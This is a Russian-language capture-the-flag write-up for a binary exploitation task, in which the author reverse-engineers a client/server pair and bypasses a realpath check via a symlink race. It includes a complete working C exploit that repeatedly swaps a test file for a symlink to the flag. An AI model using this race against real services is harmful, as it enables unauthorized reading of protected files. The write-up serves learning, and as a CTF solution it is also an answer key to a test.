В статье рассмотрим нестандартное решение задания на бинарную эксплуатацию – “R4v5h4n N Dj4m5hu7” и обойдем проверку реального пути к файлу

Задание распространяется в виде докера с 2 исполняемыми файлами и 2 конфигурационными файлами для серверной части

client, server – бинарные файлы. Клиентская и серверная часть

flag_file_path – файл с путем до флага

server.cfg – файл с блокируемым путем. (об этом дальше)

Содержимое Dockerfile:

Содержимое entrypoint.sh:

Посмотрим на серверную часть. Откроем файл в IDA Pro и перейдем в декомпилированный вид. Приложение открывает сокет /home/task/log_socket

И ждет подключения, после чего создает форк самого себя и  запускает обработчик сообщений

Переключимся на клиентскую часть

Клиент подключается к сокету и ожидает ввода 2 строк – пути до файла и подстроки в этом файле. В общем, своеобразный grep для удаленной системы

Вернемся к серверной части и обработчику сообщений

Здесь приложение вызывает функцию load config

И ожидает две строки от клиента – путь и подстроку.

Затем проверяет, является ли файл разрешенным и запускает обработчик файла или директории в зависимости от переданного пути

Посмотрим на функцию load_config(). Здесь приложение читает файл с путем до флага и сохраняет его в переменную flag_path, затем читает конфиг с блокируемыми файлами

И добавляет все файлы, которые лежат в директории /proc/self (содержимое файла server.cfg) в черный список

Заметим, что файл /home/task/flag не добавлен в черный список и перейдем к функции process_file. Здесь видим, что переданный в функцию путь преобразуется к реальному, т.е. разрешаются все ссылки и конструкции вида “..\” и “.\” и затем происходит проверка на соответствие реального пути файлу с флагом. Если путь указывает на флаг, получаем ошибку.

Казалось бы, доступ к флагу просто чтением файла не получить, но можно провернуть трюк с гонкой.

Предположение следующее:

Если передать легитимный файл в директории, в которой решающий может создать файл (например, файл /home/ssh_user/test) и подменить его сразу после проверки реального пути, то получится прочитать флаг по ссылке.

Напишем собственный клиент.

Определим несколько дефайнов для удобства

#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"

Реализуем функцию отправки строки в сокет

unsigned long long send_string(char *sendstr, int socket_fd) {
    char input_buf[4096] = {0};
    int msg_len;
    char *newline = strchr(sendstr, '\n');
    if (newline) {
        *newline = '\0';
    }
    msg_len = strlen(sendstr) + 1;
    int ret = send(socket_fd, &msg_len, sizeof(int), 0);
    check_err(ret, "Connection closed");
    ret = send(socket_fd, sendstr, msg_len, 0);
    check_err(ret, "Connection closed");
    return 0;
}

Функция создания легитимного файла

void create_file(const char *path) {
    int fd = open(path, O_CREAT | O_WRONLY, 0644);
    if (fd == -1) {
        perror("Error creating file");
        exit(EXIT_FAILURE);
    }
    write(fd, "This is a test file.\n", 21);
    close(fd);
}

Создаем файл

create_file(TEST_FILE_PATH);

Подключаемся к сокету и отправляем входные данные:

        int sockfd = connect_socket(SOCKET_PATH);
		char first[] = "/home/ssh_user/test";
		char second[] = "{";
        int ret = send_string(first,sockfd);
        check_err(ret, "Failed to send '/home/ssh_user/test'");
        ret = send_string(second,sockfd);
        check_err(ret, "Failed to send '{'");

Затем необходимо в цикле реализовать схему:

1.      Удаление файлов – легитимного и ссылки на флаг

2.      Создание файла /home/ssh_user/test

3.      Создание ссылки на /home/task/flag

4.      Замена легитимного файла на ссылку

Цикл:

		for(int j = 0; j < 50; j++){
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
          close(sockfd);
          perror("Failed to create symbolic link");
          exit(EXIT_FAILURE);
        }			
		if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
        perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
        close(sockfd);
        exit(EXIT_FAILURE);
    }}

Очевидно, что не обязательно наша идея сработает с первого раза, поэтому оборачиваем все в цикл на 50 итераций и получаем готовый эксплоит:

Эксплоит
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <time.h>

#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"

void check_err(int ret_val, const char *error_msg) {
    if (ret_val == -1) {
        perror(error_msg);
        exit(EXIT_FAILURE);
    }
}

void create_file(const char *path) {
    int fd = open(path, O_CREAT | O_WRONLY, 0644);
    if (fd == -1) {
        perror("Error creating file");
        exit(EXIT_FAILURE);
    }
    write(fd, "This is a test file.\n", 21);
    close(fd);
}


int connect_socket(const char *socket_path) {
    int sockfd;
    struct sockaddr_un addr;

    sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
    check_err(sockfd, "Socket creation failed");

    memset(&addr, 0, sizeof(struct sockaddr_un));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) == -1) {
        perror("Socket connection failed");
        close(sockfd);
        exit(EXIT_FAILURE);
    }

    return sockfd;
}

unsigned long long send_string(char *sendstr, int socket_fd) {
    char input_buf[4096] = {0};
    int msg_len;
    

    char *newline = strchr(sendstr, '\n');
    if (newline) {
        *newline = '\0';
    }

    msg_len = strlen(sendstr) + 1;

    int ret = send(socket_fd, &msg_len, sizeof(int), 0);
    check_err(ret, "Connection closed");

    ret = send(socket_fd, sendstr, msg_len, 0);
    check_err(ret, "Connection closed");

    return 0;
}

int main(int argc, char * argv[]) {
    

    for (int i = 0; i < 50; i++) {
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        int sockfd = connect_socket(SOCKET_PATH);

		char first[] = "/home/ssh_user/test";
		char second[] = "{";
        int ret = send_string(first,sockfd);
        check_err(ret, "Failed to send '/home/ssh_user/test'");
        ret = send_string(second,sockfd);
        check_err(ret, "Failed to send '{'");

		for(int j = 0; j < 50; j++){
		remove(TEST_FILE_PATH);
		remove(SYMBOLIC_LINK_PATH);
        create_file(TEST_FILE_PATH);

        if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
            perror("Failed to create symbolic link");
            exit(EXIT_FAILURE);
        }			
		if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
        perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
        close(sockfd);
        exit(EXIT_FAILURE);
    }
		}


		sleep(atoi(argv[1]));
        close(sockfd); 
    }

    
    printf("Operation completed successfully.\n");

    return 0;
}

Компилируем

gcc -o new_client new_client.c

Прокидываем на сервер и тестируем (флаг заменен на тестовый)

Запускаем сервер

Запускаем клиент

И получаем результат на одной из попыток

В результате мы обошли проверку реального пути с помощью функции realpath.

К слову, такая уязвимость является довольно серьезной и может приводить к опасным событиям. Например, к загрузке вредоносных модулей после проверки их легитимности. Единственное условие – возможность записи в директорию.

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке

Комментарии (0)